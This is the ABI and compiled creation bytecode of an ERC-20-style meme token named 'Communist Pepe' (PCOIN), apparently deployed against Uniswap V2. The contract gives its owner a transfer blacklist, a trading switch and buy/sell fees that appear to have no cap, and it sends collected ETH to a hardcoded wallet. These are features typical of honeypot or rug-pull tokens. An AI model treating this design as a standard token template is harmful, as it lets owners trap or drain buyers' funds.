[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "internalType": "uint256", "name": "_maxTxAmount", "type": "uint256" } ], "name": "MaxTxAmountUpdate", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address[]", "name": "bots_", "type": "address[]" } ], "name": "Isbot", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "swapTokensAtAmount", "type": "uint256" } ], "name": "MinSwapTokenThresh", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "maxTxAmount", "type": "uint256" } ], "name": "TxnAmmount", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "maxWalletSize", "type": "uint256" } ], "name": "WalletSize", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "_buyMap", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_maxTxAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_maxWalletSize", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_swapTokensAtAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "bots", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "accounts", "type": "address[]" }, { "internalType": "bool", "name": "excluded", "type": "bool" } ], "name": "excludeAccountFromFee", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "manualswap", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "manualunclogg", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bool", "name": "_tradingOpen", "type": "bool" } ], "name": "startarevolution", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "bool", "name": "_swapEnabled", "type": "bool" } ], "name": "toggleSwap", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "uniswapV2Pair", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "uniswapV2Router", "outputs": [ { "internalType": "contract IUniswapV2Router02", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "notbot", "type": "address" } ], "name": "unlock", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "redisFeeOnBuy", "type": "uint256" }, { "internalType": "uint256", "name": "redisFeeOnSell", "type": "uint256" }, { "internalType": "uint256", "name": "taxFeeOnBuy", "type": "uint256" }, { "internalType": "uint256", "name": "taxFeeOnSell", "type": "uint256" } ], "name": "updateTax", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
60806040526c0c9f2c9cd04674edea400000005f1962000020919062000717565b5f196200002e91906200077b565b6006555f60085560236009555f600a55602d600b55600a54600c55600b54600d55600c54600e55600d54600f55739845e85aafb33b4c2060bdcd632e8aec448bf7d560125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739845e85aafb33b4c2060bdcd632e8aec448bf7d560135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601560146101000a81548160ff0219169083151502179055505f6015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506b409f9cbc7c4a04c2200000006016556b409f9cbc7c4a04c2200000006017556b409f9cbc7c4a04c2200000006018553480156200018e575f80fd5b505f620001a0620006b360201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460025f62000252620006b360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000331573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200035791906200081a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003bd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003e391906200081a565b6040518363ffffffff1660e01b8152600401620004029291906200085b565b6020604051808303815f875af11580156200041f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200044591906200081a565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160055f62000499620006ba60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000639620006b360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c0c9f2c9cd04674edea40000000604051620006a4919062000897565b60405180910390a350620008b2565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200072382620006e1565b91506200073083620006e1565b925082620007435762000742620006ea565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200078782620006e1565b91506200079483620006e1565b9250828203905081811115620007af57620007ae6200074e565b5b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007e482620007b9565b9050919050565b620007f681620007d8565b811462000801575f80fd5b50565b5f815190506200081481620007eb565b92915050565b5f60208284031215620008325762000831620007b5565b5b5f620008418482850162000804565b91505092915050565b6200085581620007d8565b82525050565b5f604082019050620008705f8301856200084a565b6200087f60208301846200084a565b9392505050565b6200089181620006e1565b82525050565b5f602082019050620008ac5f83018462000886565b92915050565b613bc780620008c05f395ff3fe6080604052600436106101d0575f3560e01c8063715018a6116100f657806395d89b4111610094578063cfbdad8e11610063578063cfbdad8e14610641578063dd62ed3e14610669578063e2ee677d146106a5578063f2fde38b146106cd576101d7565b806395d89b4114610589578063a9059cbb146105b3578063bfd79284146105ef578063c3c8cd801461062b576101d7565b806388ae08d3116100d057806388ae08d3146104e55780638da5cb5b1461050d5780638ebc7ec6146105375780638f9a55c01461055f576101d7565b8063715018a6146104695780637d1db4a51461047f5780637f2feddc146104a9576101d7565b80632ece88fb1161016e57806349bd5a5e1161013d57806349bd5a5e146103b35780636d8aa8f8146103dd57806370a082311461040557806370e3e8b914610441576101d7565b80632ece88fb146103215780632f6c493c146103375780632fd689e31461035f578063313ce56714610389576101d7565b806318160ddd116101aa57806318160ddd1461026b57806323b872dd146102955780632bc757aa146102d15780632c299472146102f9576101d7565b806306fdde03146101db578063095ea7b3146102055780631694505e14610241576101d7565b366101d757005b5f80fd5b3480156101e6575f80fd5b506101ef6106f5565b6040516101fc9190612b31565b60405180910390f35b348015610210575f80fd5b5061022b60048036038101906102269190612bef565b610732565b6040516102389190612c47565b60405180910390f35b34801561024c575f80fd5b5061025561074f565b6040516102629190612cbb565b60405180910390f35b348015610276575f80fd5b5061027f610774565b60405161028c9190612ce3565b60405180910390f35b3480156102a0575f80fd5b506102bb60048036038101906102b69190612cfc565b610788565b6040516102c89190612c47565b60405180910390f35b3480156102dc575f80fd5b506102f760048036038101906102f29190612d76565b61085c565b005b348015610304575f80fd5b5061031f600480360381019061031a9190612da1565b61090d565b005b34801561032c575f80fd5b506103356109ab565b005b348015610342575f80fd5b5061035d60048036038101906103589190612dcc565b610a78565b005b34801561036a575f80fd5b50610373610b63565b6040516103809190612ce3565b60405180910390f35b348015610394575f80fd5b5061039d610b69565b6040516103aa9190612e12565b60405180910390f35b3480156103be575f80fd5b506103c7610b71565b6040516103d49190612e3a565b60405180910390f35b3480156103e8575f80fd5b5061040360048036038101906103fe9190612d76565b610b96565b005b348015610410575f80fd5b5061042b60048036038101906104269190612dcc565b610c47565b6040516104389190612ce3565b60405180910390f35b34801561044c575f80fd5b5061046760048036038101906104629190612e53565b610c95565b005b348015610474575f80fd5b5061047d610d4b565b005b34801561048a575f80fd5b50610493610e99565b6040516104a09190612ce3565b60405180910390f35b3480156104b4575f80fd5b506104cf60048036038101906104ca9190612dcc565b610e9f565b6040516104dc9190612ce3565b60405180910390f35b3480156104f0575f80fd5b5061050b60048036038101906105069190612da1565b610eb4565b005b348015610518575f80fd5b50610521610f52565b60405161052e9190612e3a565b60405180910390f35b348015610542575f80fd5b5061055d60048036038101906105589190612f18565b610f79565b005b34801561056a575f80fd5b506105736110a8565b6040516105809190612ce3565b60405180910390f35b348015610594575f80fd5b5061059d6110ae565b6040516105aa9190612b31565b60405180910390f35b3480156105be575f80fd5b506105d960048036038101906105d49190612bef565b6110eb565b6040516105e69190612c47565b60405180910390f35b3480156105fa575f80fd5b5061061560048036038101906106109190612dcc565b611108565b6040516106229190612c47565b60405180910390f35b348015610636575f80fd5b5061063f611125565b005b34801561064c575f80fd5b50610667600480360381019061066291906130ad565b6111fa565b005b348015610674575f80fd5b5061068f600480360381019061068a91906130f4565b611319565b60405161069c9190612ce3565b60405180910390f35b3480156106b0575f80fd5b506106cb60048036038101906106c69190612da1565b61139b565b005b3480156106d8575f80fd5b506106f360048036038101906106ee9190612dcc565b611439565b005b60606040518060400160405280600e81526020017f436f6d6d756e6973742050657065000000000000000000000000000000000000815250905090565b5f61074561073e6115f6565b84846115fd565b6001905092915050565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6c0c9f2c9cd04674edea40000000905090565b5f6107948484846117c0565b610851846107a06115f6565b61084c85604051806060016040528060288152602001613b6a6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108036115f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120209092919063ffffffff16565b6115fd565b600190509392505050565b6108646115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e79061317c565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b6109156115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109989061317c565b60405180910390fd5b8060178190555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109eb6115f6565b73ffffffffffffffffffffffffffffffffffffffff161480610a60575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a486115f6565b73ffffffffffffffffffffffffffffffffffffffff16145b610a68575f80fd5b5f479050610a7581612082565b50565b610a806115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b039061317c565b60405180910390fd5b5f60105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60185481565b5f6009905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b9e6115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c219061317c565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b5f610c8e60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120ea565b9050919050565b610c9d6115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d209061317c565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b610d536115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd69061317c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b6011602052805f5260405f205f915090505481565b610ebc6115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3f9061317c565b60405180910390fd5b8060168190555050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f816115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110049061317c565b60405180910390fd5b5f5b838390508110156110a2578160055f8686858181106110315761103061319a565b5b90506020020160208101906110469190612dcc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061100f565b50505050565b60175481565b60606040518060400160405280600581526020017f50434f494e000000000000000000000000000000000000000000000000000000815250905090565b5f6110fe6110f76115f6565b84846117c0565b6001905092915050565b6010602052805f5260405f205f915054906101000a900460ff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111656115f6565b73ffffffffffffffffffffffffffffffffffffffff1614806111da575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c26115f6565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e2575f80fd5b5f6111ec30610c47565b90506111f781612156565b50565b6112026115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112859061317c565b60405180910390fd5b5f5b815181101561131557600160105f8484815181106112b1576112b061319a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611290565b5050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6113a36115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461142f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114269061317c565b60405180910390fd5b8060188190555050565b6114416115f6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c49061317c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153290613237565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361166b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611662906132c5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d090613353565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117b39190612ce3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611825906133e1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361189c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118939061346f565b60405180910390fd5b5f81116118de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d5906134fd565b60405180910390fd5b6118e6610f52565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119545750611924610f52565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d2d57601560149054906101000a900460ff166119e357611975610f52565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d99061358b565b60405180910390fd5b5b601654811115611a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1f906135f3565b60405180910390fd5b60105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611ac6575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc90613681565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bb15760175481611b6684610c47565b611b7091906136cc565b10611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba79061376f565b60405180910390fd5b5b5f611bbb30610c47565b90505f60185482101590506016548210611bd55760165491505b808015611bed575060158054906101000a900460ff16155b8015611c46575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5e5750601560169054906101000a900460ff165b8015611cb1575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611d04575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611d2a57611d1282612156565b5f4790505f811115611d2857611d2747612082565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611dcd575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611e7e575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e7d575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e8b575f905061200e565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f34575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f4c57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ff5575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561200d57600a54600c81905550600b54600d819055505b5b61201a848484846123bf565b50505050565b5f838311158290612067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205e9190612b31565b60405180910390fd5b505f8385612075919061378d565b9050809150509392505050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156120e6573d5f803e3d5ffd5b5050565b5f600654821115612130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212790613830565b60405180910390fd5b5f6121396123ec565b905061214e818461241590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561218c5761218b612f75565b5b6040519080825280602002602001820160405280156121ba5781602001602082028036833780820191505090505b50905030815f815181106121d1576121d061319a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612275573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122999190613862565b816001815181106122ad576122ac61319a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123133060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115fd565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161237595949392919061397d565b5f604051808303815f87803b15801561238c575f80fd5b505af115801561239e573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b806123cd576123cc61245e565b5b6123d8848484612497565b806123e6576123e561245e565b5b50505050565b5f805f6123f7612657565b9150915061240e818361241590919063ffffffff16565b9250505090565b5f61245683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126c2565b905092915050565b5f600c5414801561247057505f600d54145b61249557600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f806124a687612723565b9550955095509550955095506125028660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461278390919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125938560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127cc90919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125dd81612829565b6125e784836128e0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126449190612ce3565b60405180910390a3505050505050505050565b5f805f60065490505f6c0c9f2c9cd04674edea4000000090506126926c0c9f2c9cd04674edea4000000060065461241590919063ffffffff16565b8210156126b5576006546c0c9f2c9cd04674edea400000009350935050506126be565b81819350935050505b9091565b5f8083118290612708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ff9190612b31565b60405180910390fd5b505f83856127169190613a02565b9050809150509392505050565b5f805f805f805f805f61273b8a600c54600d5461291a565b9250925092505f61274a6123ec565b90505f805f61275b8e8787876129ac565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f6127c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612020565b905092915050565b5f8082846127da91906136cc565b90508381101561281f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281690613a7c565b60405180910390fd5b8091505092915050565b5f6128326123ec565b90505f6128488284612a3090919063ffffffff16565b905061289a8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f